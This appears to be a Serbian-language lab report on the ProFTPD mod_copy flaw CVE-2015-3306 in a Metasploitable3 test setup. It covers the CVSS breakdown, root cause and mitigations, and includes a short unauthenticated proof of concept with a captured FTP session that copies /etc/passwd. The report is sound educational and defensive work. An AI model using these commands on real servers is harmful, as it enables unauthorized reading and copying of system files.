

Ime i prezime: Balsa Bulatović  
Datum: 24.11.2025  
Scan Tool: Nessus (Docker version — oracle-latest)  
Test okruženje: Metasploitable3

## 1. Enumeracija CVE-a

CVE ID: CVE-2015-3306

### Opis

Na posmatranom hostu pokrenut je FTP servis **ProFTPD** sa aktivnim modulom **mod\_copy**. Ranjivost omogućava napadaču da *bez autentikacije* izvrši FTP komande **SITE CPFR** i **SITE CPTO**, čime može čitati i kopirati proizvoljne datoteke kojima proces **ProFTPD** ima pristup.

Port: 21/tcp

Protokol: FTP

Tip ranjivosti: Information Disclosure

## 2. CVSS skor

CVSS skor: 9.8 (Critical)

### Vektor

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Objašnjenje komponenti

- **AV:N (Network)** – Eksplatacija je moguća udaljeno, preko mreže.
- **AC:L (Low)** – Napad ne zahteva posebne uslove niti dodatnu pripremu.
- **PR:N (None)** – Nisu potrebne privilegije ili korisnički nalozi.
- **UI:N (None)** – Interakcija žrtve nije potrebna.
- **S:U (Unchanged)** – Uticaj ranjivosti ostaje unutar istog bezbednosnog domena.
- **C:H (High)** – Moguć pristup poverljivim sistemskim fajlovima.
- **I:H (High)** – Moguće menjanje i prepisivanje datoteka.
- **A:H (High)** – Prepisivanje kritičnih sistemskih fajlova može dovesti do obaranja usluge.

Ranjivost je trivijalna za eksplataciju i omogućava čitanje, menjanje i kopiranje datoteka, što direktno utiče na sve tri bezbednosne komponente — poverljivost, integritet i dostupnost. Time je opravдан CVSS skor 9.8.

## 3. Dostupnost eksplota

Postoji javno dostupan eksplot: Da

– Metasploit modul:

exploit/unix/ftp/proftpd\_modcopy\_exec

### Opis eksplota

Eksplot zloupotrebljava funkcionalnost mod\_copy modula, koji omogućava izvršavanje SITE CPFR i SITE CPTO komandi bez autentikacije. Time je moguće:

- čitati sistemske fajlove (npr. /etc/passwd),
- kopirati fajlove u druge direktorijume,
- potencijalno postići **remote code execution** (prepisivanjem konfiguracija, authorized\_keys fajlova i sl.).

### Kod eksplota (PoC)

Minimalni dokaz ranjivosti:

```
SITE CPFR /etc/passwd
SITE CPTO /tmp/passwd_copy
```

### Praktični dokaz (PowerShell FTP sesija)

```
PS C:\Users\bakib> ftp 127.0.0.1
Connected to 127.0.0.1.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [172.19.0.2]
500 OPTS UTF8 not understood
User (127.0.0.1:(none)): admin
331 Password required for admin
Password:

530 Login incorrect.
Login failed.
ftp> quote SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
ftp> quote SITE CPTO /tmp/passwd_copy
250 Copy successful
```

Ovaj PoC demonstrira da server prihvata komande modcopy modula *bez uspešne autentikacije*, što potvrđuje prisustvo ranjivosti.

## 4. Analiza uzroka (root cause)

### Uvođenje greške (Commit/Verzija)

Ranjivost je prisutna u implementaciji mod\_copy modula u verzijama ProFTPD-a pre 1.3.5a.

Funkcije zadužene za obradu CPFR/CPTO komandi **ne vrše proveru autentikacije**, što omogućava njihov poziv pod neprivilegovanim FTP sesijom.

### Primer koda

Pojednostavljena verzija problema (prema analizi zajednice):

```
if (strcmp(cmd, "CPFR") == 0 || strcmp(cmd, "CPTO") == 0) {
    /* nedostaje provjera autentikacije */
    return copy_file(src, dest);
}
```

Ključni problem: izostanak provjere session.authenticated == true pre izvršavanja operacija nad fajlovima.

## 5. Preporuke za mitigaciju

Vendor Fix / Patch: Da

– Ispravka je uključena od verzije **ProFTPD 1.3.5a** naviše.

### Mitigation Strategy

1. Ažurirati ProFTPD na poslednju stabilnu verziju:

```
apt-get update && apt-get install proftpd
```

2. Onemogućiti mod\_copy ukoliko nije neophodan:

```
<IfModule mod_copy.c>
    CopyEngine off
</IfModule>
```

3. Ograničiti pristup FTP portu (21) firewall pravilima.

4. Koristiti chroot okruženje za FTP korisnike kako bi se smanjile mogućnosti pristupa sistemskim fajlovima.

### Alternativni fix (ako patch nije primenljiv)

Ukloniti mod\_copy modul iz konfiguracije ili eksplicitno zabraniti njegovo korišćenje:

```
<Limit SITE_CPTO SITE_CPFR>
    DenyAll
</Limit>
```

Ovo sprečava eksplataciju dok se ne izvrši nadogradnja.